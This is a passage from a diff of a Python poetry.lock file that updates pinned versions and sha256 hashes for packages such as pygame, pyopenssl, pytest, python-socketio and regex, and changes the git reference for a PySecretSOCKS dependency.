+ {file = "pygame-2.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4f1559e7efe4efb9dc19d2d811d702f325d9605f9f6f9ececa39ee6890c798f5"},
+ {file = "pygame-2.5.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cf2191b756ceb0e8458a761d0c665b0c70b538570449e0d39b75a5ba94ac5cf0"},
+ {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6cf2257447ce7f2d6de37e5fb019d2bbe32ed05a5721ace8bc78c2d9beaf3aee"},
+ {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75cbbfaba2b81434d62631d0b08b85fab16cf4a36e40b80298d3868927e1299"},
+ {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:daca456d5b9f52e088e06a127dec182b3638a775684fb2260f25d664351cf1ae"},
+ {file = "pygame-2.5.2-cp39-cp39-win32.whl", hash = "sha256:3b3e619e33d11c297d7a57a82db40681f9c2c3ae1d5bf06003520b4fe30c435d"},
+ {file = "pygame-2.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:1822d534bb7fe756804647b6da2c9ea5d7a62d8796b2e15d172d3be085de28c6"},
+ {file = "pygame-2.5.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:e708fc8f709a0fe1d1876489345f2e443d47f3976d33455e2e1e937f972f8677"},
+ {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c13edebc43c240fb0532969e914f0ccefff5ae7e50b0b788d08ad2c15ef793e4"},
+ {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:263b4a7cbfc9fe2055abc21b0251cc17dea6dff750f0e1c598919ff350cdbffe"},
+ {file = "pygame-2.5.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e58e2b0c791041e4bccafa5bd7650623ba1592b8fe62ae0a276b7d0ecb314b6c"},
+ {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a0bd67426c02ffe6c9827fc4bcbda9442fbc451d29b17c83a3c088c56fef2c90"},
+ {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9dcff6cbba1584cf7732ce1dbdd044406cd4f6e296d13bcb7fba963fb4aeefc9"},
+ {file = "pygame-2.5.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce4b6c0bfe44d00bb0998a6517bd0cf9455f642f30f91bc671ad41c05bf6f6ae"},
+ {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68c4e8e60b725ffc7a6c6ecd9bb5fcc5ed2d6e0e2a2c4a29a8454856ef16ad63"},
+ {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f3849f97372a3381c66955f99a0d58485ccd513c3d00c030b869094ce6997a6"},
+ {file = "pygame-2.5.2.tar.gz", hash = "sha256:c1b89eb5d539e7ac5cf75513125fb5f2f0a2d918b1fd6e981f23bf0ac1b1c24a"},
]
[[package]]
@@ -1810,13 +1910,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"]
[[package]]
name = "pyinstaller-hooks-contrib"
-version = "2023.8"
+version = "2023.10"
description = "Community maintained hooks for PyInstaller"
optional = false
python-versions = ">=3.7"
files = [
- {file = "pyinstaller-hooks-contrib-2023.8.tar.gz", hash = "sha256:318ccc316fb2b8c0bbdff2456b444bf1ce0e94cb3948a0f4dd48f6fc33d41c01"},
- {file = "pyinstaller_hooks_contrib-2023.8-py2.py3-none-any.whl", hash = "sha256:d091a52fbeed71cde0359aa9ad66288521a8441cfba163d9446606c5136c72a8"},
+ {file = "pyinstaller-hooks-contrib-2023.10.tar.gz", hash = "sha256:4b4a998036abb713774cb26534ca06b7e6e09e4c628196017a10deb11a48747f"},
+ {file = "pyinstaller_hooks_contrib-2023.10-py2.py3-none-any.whl", hash = "sha256:6dc1786a8f452941245d5bb85893e2a33632ebdcbc4c23eea41f2ee08281b0c0"},
]
[[package]]
@@ -1836,20 +1936,20 @@ rsa = ["cryptography"]
[[package]]
name = "pyopenssl"
-version = "23.2.0"
+version = "23.3.0"
description = "Python wrapper module around the OpenSSL library"
optional = false
-python-versions = ">=3.6"
+python-versions = ">=3.7"
files = [
- {file = "pyOpenSSL-23.2.0-py3-none-any.whl", hash = "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2"},
- {file = "pyOpenSSL-23.2.0.tar.gz", hash = "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"},
+ {file = "pyOpenSSL-23.3.0-py3-none-any.whl", hash = "sha256:6756834481d9ed5470f4a9393455154bc92fe7a64b7bc6ee2c804e78c52099b2"},
+ {file = "pyOpenSSL-23.3.0.tar.gz", hash = "sha256:6b2cba5cc46e822750ec3e5a81ee12819850b11303630d575e98108a079c2b12"},
]
[package.dependencies]
-cryptography = ">=38.0.0,<40.0.0 || >40.0.0,<40.0.1 || >40.0.1,<42"
+cryptography = ">=41.0.5,<42"
[package.extras]
-docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"]
+docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"]
test = ["flaky", "pretend", "pytest (>=3.0.1)"]
[[package]]
@@ -1900,21 +2000,24 @@ python-versions = "*"
files = []
develop = false
+[package.dependencies]
+pyasyncore = "*"
+
[package.source]
type = "git"
url = "https://github.com/BC-SECURITY/PySecretSOCKS.git"
-reference = "HEAD"
-resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204"
+reference = "da5be0e"
+resolved_reference = "da5be0e48f82097044894247343cef2111f13c7a"
[[package]]
name = "pytest"
-version = "7.4.2"
+version = "7.4.3"
description = "pytest: simple powerful testing with Python"
optional = false
python-versions = ">=3.7"
files = [
- {file = "pytest-7.4.2-py3-none-any.whl", hash = "sha256:1d881c6124e08ff0a1bb75ba3ec0bfd8b5354a01c194ddd5a0a870a48d99b002"},
- {file = "pytest-7.4.2.tar.gz", hash = "sha256:a766259cfab564a2ad52cb1aae1b881a75c3eb7e34ca3779697c23ed47c47069"},
+ {file = "pytest-7.4.3-py3-none-any.whl", hash = "sha256:0d009c083ea859a71b76adf7c1d502e4bc170b80a8ef002da5806527b9591fac"},
+ {file = "pytest-7.4.3.tar.gz", hash = "sha256:d989d136982de4e3b29dabcc838ad581c64e8ed52c11fbe86ddebd9da0818cd5"},
]
[package.dependencies]
@@ -1948,13 +2051,13 @@ testing = ["fields", "hunter", "process-tests", "pytest-xdist", "six", "virtuale
[[package]]
name = "pytest-timeout"
-version = "2.1.0"
+version = "2.2.0"
description = "pytest plugin to abort hanging tests"
optional = false
-python-versions = ">=3.6"
+python-versions = ">=3.7"
files = [
- {file = "pytest-timeout-2.1.0.tar.gz", hash = "sha256:c07ca07404c612f8abbe22294b23c368e2e5104b521c1790195561f37e1ac3d9"},
- {file = "pytest_timeout-2.1.0-py3-none-any.whl", hash = "sha256:f6f50101443ce70ad325ceb4473c4255e9d74e3c7cd0ef827309dfa4c0d975c6"},
+ {file = "pytest-timeout-2.2.0.tar.gz", hash = "sha256:3b0b95dabf3cb50bac9ef5ca912fa0cfc286526af17afc806824df20c2f72c90"},
+ {file = "pytest_timeout-2.2.0-py3-none-any.whl", hash = "sha256:bde531e096466f49398a59f2dde76fa78429a09a12411466f88a07213e220de2"},
]
[package.dependencies]
@@ -1962,13 +2065,13 @@ pytest = ">=5.0.0"
[[package]]
name = "python-engineio"
-version = "4.7.1"
+version = "4.8.0"
description = "Engine.IO server and client for Python"
optional = false
python-versions = ">=3.6"
files = [
- {file = "python-engineio-4.7.1.tar.gz", hash = "sha256:a8422e345cd9a21451303380b160742ff02197975b1c3a02cef115febe2b1b20"},
- {file = "python_engineio-4.7.1-py3-none-any.whl", hash = "sha256:52499e8ab94fea1a6525ffe872fe7028d04b575799c5fa8e2cf7880e032de42e"},
+ {file = "python-engineio-4.8.0.tar.gz", hash = "sha256:2a32585d8fecd0118264fe0c39788670456ca9aa466d7c026d995cfff68af164"},
+ {file = "python_engineio-4.8.0-py3-none-any.whl", hash = "sha256:6055ce35b7f32b70641d53846faf76e06f2af0107a714cedb2750595c69ade43"},
]
[package.dependencies]
@@ -2030,18 +2133,18 @@ regex = "*"
[[package]]
name = "python-socketio"
-version = "5.9.0"
+version = "5.10.0"
description = "Socket.IO server and client for Python"
optional = false
python-versions = ">=3.6"
files = [
- {file = "python-socketio-5.9.0.tar.gz", hash = "sha256:dc42735f65534187f381fde291ebf620216a4960001370f32de940229b2e7f8f"},
- {file = "python_socketio-5.9.0-py3-none-any.whl", hash = "sha256:c20f12e4ed0cba57581af26bbeea9998bc2eeebb3b952fa92493a1e051cfe9dc"},
+ {file = "python-socketio-5.10.0.tar.gz", hash = "sha256:01c616946fa9f67ed5cc3d1568e1c4940acfc64aeeb9ff621a53e80cabeb748a"},
+ {file = "python_socketio-5.10.0-py3-none-any.whl", hash = "sha256:fb18d9b84cfb05289dc207b790c3de59cd242310d9b980b1c31e9faf4f79101a"},
]
[package.dependencies]
bidict = ">=0.21.0"
-python-engineio = ">=4.7.0"
+python-engineio = ">=4.8.0"
requests = {version = ">=2.21.0", optional = true, markers = "extra == \"client\""}
websocket-client = {version = ">=0.54.0", optional = true, markers = "extra == \"client\""}
@@ -2144,99 +2247,99 @@ files = [
[[package]]
name = "regex"
-version = "2023.8.8"
+version = "2023.10.3"
description = "Alternative regular expression module, to replace re."
optional = false
-python-versions = ">=3.6"
+python-versions = ">=3.7"
files = [
- {file = "regex-2023.8.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:88900f521c645f784260a8d346e12a1590f79e96403971241e64c3a265c8ecdb"},
- {file = "regex-2023.8.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3611576aff55918af2697410ff0293d6071b7e00f4b09e005d614686ac4cd57c"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b8a0ccc8f2698f120e9e5742f4b38dc944c38744d4bdfc427616f3a163dd9de5"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c662a4cbdd6280ee56f841f14620787215a171c4e2d1744c9528bed8f5816c96"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cf0633e4a1b667bfe0bb10b5e53fe0d5f34a6243ea2530eb342491f1adf4f739"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:551ad543fa19e94943c5b2cebc54c73353ffff08228ee5f3376bd27b3d5b9800"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54de2619f5ea58474f2ac211ceea6b615af2d7e4306220d4f3fe690c91988a61"},
- {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:5ec4b3f0aebbbe2fc0134ee30a791af522a92ad9f164858805a77442d7d18570"},
- {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3ae646c35cb9f820491760ac62c25b6d6b496757fda2d51be429e0e7b67ae0ab"},
- {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca339088839582d01654e6f83a637a4b8194d0960477b9769d2ff2cfa0fa36d2"},
- {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:d9b6627408021452dcd0d2cdf8da0534e19d93d070bfa8b6b4176f99711e7f90"},
- {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:bd3366aceedf274f765a3a4bc95d6cd97b130d1dda524d8f25225d14123c01db"},
- {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7aed90a72fc3654fba9bc4b7f851571dcc368120432ad68b226bd593f3f6c0b7"},
- {file = "regex-2023.8.8-cp310-cp310-win32.whl", hash = "sha256:80b80b889cb767cc47f31d2b2f3dec2db8126fbcd0cff31b3925b4dc6609dcdb"},
- {file = "regex-2023.8.8-cp310-cp310-win_amd64.whl", hash = "sha256:b82edc98d107cbc7357da7a5a695901b47d6eb0420e587256ba3ad24b80b7d0b"},
- {file = "regex-2023.8.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1e7d84d64c84ad97bf06f3c8cb5e48941f135ace28f450d86af6b6512f1c9a71"},
- {file = "regex-2023.8.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce0f9fbe7d295f9922c0424a3637b88c6c472b75eafeaff6f910494a1fa719ef"},
- {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:06c57e14ac723b04458df5956cfb7e2d9caa6e9d353c0b4c7d5d54fcb1325c46"},
- {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7a9aaa5a1267125eef22cef3b63484c3241aaec6f48949b366d26c7250e0357"},
- {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b7408511fca48a82a119d78a77c2f5eb1b22fe88b0d2450ed0756d194fe7a9a"},
- {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14dc6f2d88192a67d708341f3085df6a4f5a0c7b03dec08d763ca2cd86e9f559"},
- {file = "regex-2023.8.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48c640b99213643d141550326f34f0502fedb1798adb3c9eb79650b1ecb2f177"},
- {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0085da0f6c6393428bf0d9c08d8b1874d805bb55e17cb1dfa5ddb7cfb11140bf"},
- {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:964b16dcc10c79a4a2be9f1273fcc2684a9eedb3906439720598029a797b46e6"},
- {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7ce606c14bb195b0e5108544b540e2c5faed6843367e4ab3deb5c6aa5e681208"},
- {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:40f029d73b10fac448c73d6eb33d57b34607f40116e9f6e9f0d32e9229b147d7"},
- {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3b8e6ea6be6d64104d8e9afc34c151926f8182f84e7ac290a93925c0db004bfd"},
- {file = "regex-2023.8.8-cp311-cp311-win32.whl", hash = "sha256:942f8b1f3b223638b02df7df79140646c03938d488fbfb771824f3d05fc083a8"},
- {file = "regex-2023.8.8-cp311-cp311-win_amd64.whl", hash = "sha256:51d8ea2a3a1a8fe4f67de21b8b93757005213e8ac3917567872f2865185fa7fb"},
- {file = "regex-2023.8.8-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e951d1a8e9963ea51efd7f150450803e3b95db5939f994ad3d5edac2b6f6e2b4"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:704f63b774218207b8ccc6c47fcef5340741e5d839d11d606f70af93ee78e4d4"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22283c769a7b01c8ac355d5be0715bf6929b6267619505e289f792b01304d898"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:91129ff1bb0619bc1f4ad19485718cc623a2dc433dff95baadbf89405c7f6b57"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de35342190deb7b866ad6ba5cbcccb2d22c0487ee0cbb251efef0843d705f0d4"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b993b6f524d1e274a5062488a43e3f9f8764ee9745ccd8e8193df743dbe5ee61"},
- {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3026cbcf11d79095a32d9a13bbc572a458727bd5b1ca332df4a79faecd45281c"},
- {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:293352710172239bf579c90a9864d0df57340b6fd21272345222fb6371bf82b3"},
- {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d909b5a3fff619dc7e48b6b1bedc2f30ec43033ba7af32f936c10839e81b9217"},
- {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3d370ff652323c5307d9c8e4c62efd1956fb08051b0e9210212bc51168b4ff56"},
- {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:b076da1ed19dc37788f6a934c60adf97bd02c7eea461b73730513921a85d4235"},
- {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:e9941a4ada58f6218694f382e43fdd256e97615db9da135e77359da257a7168b"},
- {file = "regex-2023.8.8-cp36-cp36m-win32.whl", hash = "sha256:a8c65c17aed7e15a0c824cdc63a6b104dfc530f6fa8cb6ac51c437af52b481c7"},
- {file = "regex-2023.8.8-cp36-cp36m-win_amd64.whl", hash = "sha256:aadf28046e77a72f30dcc1ab185639e8de7f4104b8cb5c6dfa5d8ed860e57236"},
- {file = "regex-2023.8.8-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:423adfa872b4908843ac3e7a30f957f5d5282944b81ca0a3b8a7ccbbfaa06103"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ae594c66f4a7e1ea67232a0846649a7c94c188d6c071ac0210c3e86a5f92109"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e51c80c168074faa793685656c38eb7a06cbad7774c8cbc3ea05552d615393d8"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:09b7f4c66aa9d1522b06e31a54f15581c37286237208df1345108fcf4e050c18"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e73e5243af12d9cd6a9d6a45a43570dbe2e5b1cdfc862f5ae2b031e44dd95a8"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:941460db8fe3bd613db52f05259c9336f5a47ccae7d7def44cc277184030a116"},
- {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f0ccf3e01afeb412a1a9993049cb160d0352dba635bbca7762b2dc722aa5742a"},
- {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:2e9216e0d2cdce7dbc9be48cb3eacb962740a09b011a116fd7af8c832ab116ca"},
- {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:5cd9cd7170459b9223c5e592ac036e0704bee765706445c353d96f2890e816c8"},
- {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:4873ef92e03a4309b3ccd8281454801b291b689f6ad45ef8c3658b6fa761d7ac"},
- {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:239c3c2a339d3b3ddd51c2daef10874410917cd2b998f043c13e2084cb191684"},
- {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:1005c60ed7037be0d9dea1f9c53cc42f836188227366370867222bda4c3c6bd7"},
- {file = "regex-2023.8.8-cp37-cp37m-win32.whl", hash = "sha256:e6bd1e9b95bc5614a7a9c9c44fde9539cba1c823b43a9f7bc11266446dd568e3"},
- {file = "regex-2023.8.8-cp37-cp37m-win_amd64.whl", hash = "sha256:9a96edd79661e93327cfeac4edec72a4046e14550a1d22aa0dd2e3ca52aec921"},
- {file = "regex-2023.8.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f2181c20ef18747d5f4a7ea513e09ea03bdd50884a11ce46066bb90fe4213675"},
- {file = "regex-2023.8.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a2ad5add903eb7cdde2b7c64aaca405f3957ab34f16594d2b78d53b8b1a6a7d6"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9233ac249b354c54146e392e8a451e465dd2d967fc773690811d3a8c240ac601"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:920974009fb37b20d32afcdf0227a2e707eb83fe418713f7a8b7de038b870d0b"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2b6c5dfe0929b6c23dde9624483380b170b6e34ed79054ad131b20203a1a63"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:96979d753b1dc3b2169003e1854dc67bfc86edf93c01e84757927f810b8c3c93"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ae54a338191e1356253e7883d9d19f8679b6143703086245fb14d1f20196be9"},
- {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2162ae2eb8b079622176a81b65d486ba50b888271302190870b8cc488587d280"},
- {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c884d1a59e69e03b93cf0dfee8794c63d7de0ee8f7ffb76e5f75be8131b6400a"},
- {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf9273e96f3ee2ac89ffcb17627a78f78e7516b08f94dc435844ae72576a276e"},
- {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:83215147121e15d5f3a45d99abeed9cf1fe16869d5c233b08c56cdf75f43a504"},
- {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3f7454aa427b8ab9101f3787eb178057c5250478e39b99540cfc2b889c7d0586"},
- {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f0640913d2c1044d97e30d7c41728195fc37e54d190c5385eacb52115127b882"},
- {file = "regex-2023.8.8-cp38-cp38-win32.whl", hash = "sha256:0c59122ceccb905a941fb23b087b8eafc5290bf983ebcb14d2301febcbe199c7"},
- {file = "regex-2023.8.8-cp38-cp38-win_amd64.whl", hash = "sha256:c12f6f67495ea05c3d542d119d270007090bad5b843f642d418eb601ec0fa7be"},
- {file = "regex-2023.8.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:82cd0a69cd28f6cc3789cc6adeb1027f79526b1ab50b1f6062bbc3a0ccb2dbc3"},
- {file = "regex-2023.8.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bb34d1605f96a245fc39790a117ac1bac8de84ab7691637b26ab2c5efb8f228c"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:987b9ac04d0b38ef4f89fbc035e84a7efad9cdd5f1e29024f9289182c8d99e09"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9dd6082f4e2aec9b6a0927202c85bc1b09dcab113f97265127c1dc20e2e32495"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7eb95fe8222932c10d4436e7a6f7c99991e3fdd9f36c949eff16a69246dee2dc"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7098c524ba9f20717a56a8d551d2ed491ea89cbf37e540759ed3b776a4f8d6eb"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b694430b3f00eb02c594ff5a16db30e054c1b9589a043fe9174584c6efa8033"},
- {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:b2aeab3895d778155054abea5238d0eb9a72e9242bd4b43f42fd911ef9a13470"},
- {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:988631b9d78b546e284478c2ec15c8a85960e262e247b35ca5eaf7ee22f6050a"},
- {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:67ecd894e56a0c6108ec5ab1d8fa8418ec0cff45844a855966b875d1039a2e34"},
- {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:14898830f0a0eb67cae2bbbc787c1a7d6e34ecc06fbd39d3af5fe29a4468e2c9"},
- {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:f2200e00b62568cfd920127782c61bc1c546062a879cdc741cfcc6976668dfcf"},
- {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9691a549c19c22d26a4f3b948071e93517bdf86e41b81d8c6ac8a964bb71e5a6"},
- {file = "regex-2023.8.8-cp39-cp39-win32.whl", hash = "sha256:6ab2ed84bf0137927846b37e882745a827458689eb969028af8032b1b3dac78e"},
- {file = "regex-2023.8.8-cp39-cp39-win_amd64.whl", hash = "sha256:5543c055d8ec7801901e1193a51570643d6a6ab8751b1f7dd9af71af467538bb"},
- {file = "regex-2023.8.8.tar.gz", hash = "sha256:fcbdc5f2b0f1cd0f6a56cdb46fe41d2cce1e644e3b68832f3eeebc5fb0f7712e"},
+ {file = "regex-2023.10.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4c34d4f73ea738223a094d8e0ffd6d2c1a1b4c175da34d6b0de3d8d69bee6bcc"},
+ {file = "regex-2023.10.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a8f4e49fc3ce020f65411432183e6775f24e02dff617281094ba6ab079ef0915"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4cd1bccf99d3ef1ab6ba835308ad85be040e6a11b0977ef7ea8c8005f01a3c29"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:81dce2ddc9f6e8f543d94b05d56e70d03a0774d32f6cca53e978dc01e4fc75b8"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c6b4d23c04831e3ab61717a707a5d763b300213db49ca680edf8bf13ab5d91b"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c15ad0aee158a15e17e0495e1e18741573d04eb6da06d8b84af726cfc1ed02ee"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6239d4e2e0b52c8bd38c51b760cd870069f0bdf99700a62cd509d7a031749a55"},
+ {file = "regex-2023.10.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:4a8bf76e3182797c6b1afa5b822d1d5802ff30284abe4599e1247be4fd6b03be"},
+ {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d9c727bbcf0065cbb20f39d2b4f932f8fa1631c3e01fcedc979bd4f51fe051c5"},
+ {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3ccf2716add72f80714b9a63899b67fa711b654be3fcdd34fa391d2d274ce767"},
+ {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:107ac60d1bfdc3edb53be75e2a52aff7481b92817cfdddd9b4519ccf0e54a6ff"},
